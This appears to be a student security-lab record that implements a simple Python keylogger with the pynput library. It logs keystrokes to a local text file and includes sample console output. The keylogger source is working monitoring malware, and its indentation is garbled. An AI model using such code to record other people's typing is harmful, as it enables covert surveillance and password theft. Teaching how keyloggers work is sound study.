Date:

AIM:

To implement a keylogger to record the keystrokes.

ALGORITHM:

1. Import `Key` and `Listener` from `pynput.keyboard`.

2. Create an empty list `the_keys` to store pressed keys.

3. Define `functionPerKey(key)` to append pressed keys to `the_keys` and write them to a file.

4. Define `storeKeysToFile(keys)` to write keys to a log file.

5. Define `onEachKeyRelease(the_key)` to stop the keylogger when "Esc" key is pressed.

PROGRAM:

```
# importing the required modules

from pynput.keyboard import Key

from pynput.keyboard import Listener

# creating an empty list to store pressed keys

the_keys = []

# creating a function that defines what to do on each key press

def functionPerKey(key):

# appending each pressed key to a list

the_keys.append(key)

# writing list to file after each key pressed

storeKeysToFile(the_keys)

# defining the function to write keys to the log file

def storeKeysToFile(keys):

with open(r'C:\Users\REC\Desktop\keylog.txt','w') as log:

for the_key in keys:

the_key = str(the_key).replace("'", "")

log.write(the_key)


def onEachKeyRelease(the_key):

# In case, the key is "Esc" then stopping the keylogger

if the_key == Key.esc:
```

```
        return False
    with Listener(
        on_press = functionPerKey,
        on_release = onEachKeyRelease
    ) as the_listener:
        the_listener.join()
```

OUTPUT:

Keyloggers.py

```
      Python 3.11.5 (tags/v3.11.5:cce6ba9, Aug 24 2023, 14:38:34) [MSC v.1936 64 bit (AMD64)] on win32
      Type "help", "copyright", "credits" or "license()" for more information.
>>>
      == RESTART: C:/Users/REC/AppData/Local/Programs/Python/Python311/keyloggers.py =
      k
...   e
>>>
      == RESTART: C:/Users/REC/AppData/Local/Programs/Python/Python311/keyloggers.py =
      g
...   w
...   e
>>>
```

keylog.txt:

```
gKey.enterwKey.entereKey.enter`Key.backspaceKey.esc
```

RESULT: